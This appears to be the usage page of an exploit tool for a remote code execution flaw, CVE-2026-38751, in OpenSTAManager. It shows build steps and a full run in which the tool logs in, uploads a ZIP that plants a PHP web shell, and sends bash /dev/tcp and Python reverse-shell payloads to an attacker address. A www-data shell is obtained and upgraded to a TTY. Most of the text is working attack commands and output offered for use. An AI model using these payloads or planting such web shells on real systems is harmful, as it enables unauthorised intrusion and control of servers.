git clone https://github.com/yourusername/OpenSTAManager-RCE-Exploit-CVE-2026-38751
cd OpenSTAManager-RCE-Exploit-CVE-2026-38751
cargo build --release
./target/release/openstamanager-rce-exploit --help

$ ./openstamanager-rce-exploit --url http://target.com/ -U <user> -P <password> --lhost 10.10.14.5 --lport 4444

[ OpenSTAManager RCE Exploit : ]

Target: http://target.com/
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 500 Internal Server Error
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://target.com/modules/shell/shell.php
[+] Test: http://target.com/modules/shell/shell.php?c=whoami
[*] Listening on 10.10.14.5:4444...
[*] Trying payload: bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
[-] Payload failed: operation timed out
[*] Trying payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[-] Payload failed: operation timed out
[*] Trying payload: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[+] Payload sent successfully. Waiting for connection...
[+] Connection received from 10.129.19.238:55758
[*] Sent 'script /dev/null -c bash'

[*]
[*] Reverse shell established.
[*] To get a fully interactive TTY:
[*] 1. Press Ctrl+Z to suspend the shell.
[*] 2. Run: stty raw -echo; fg
[*] 3. When prompted for terminal type, type: xterm
[*] 4. Export: export TERM=xterm SHELL=bash
[*] 5. Adjust rows/columns with: stty rows <rows> columns <cols>
[*]    (Get the size with: stty size)
[*]
[*] Press Ctrl+C to exit and cleanup the webshell.

bash: cannot set terminal process group (1481): Inappropriate ioctl for device
bash: no job control in this shell
www-data@target:~/html/openstamanager/modules/shell$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@target:~/html/openstamanager/modules/shell$ whoami
whoami
www-data
www-data@target:~/html/openstamanager/modules/shell$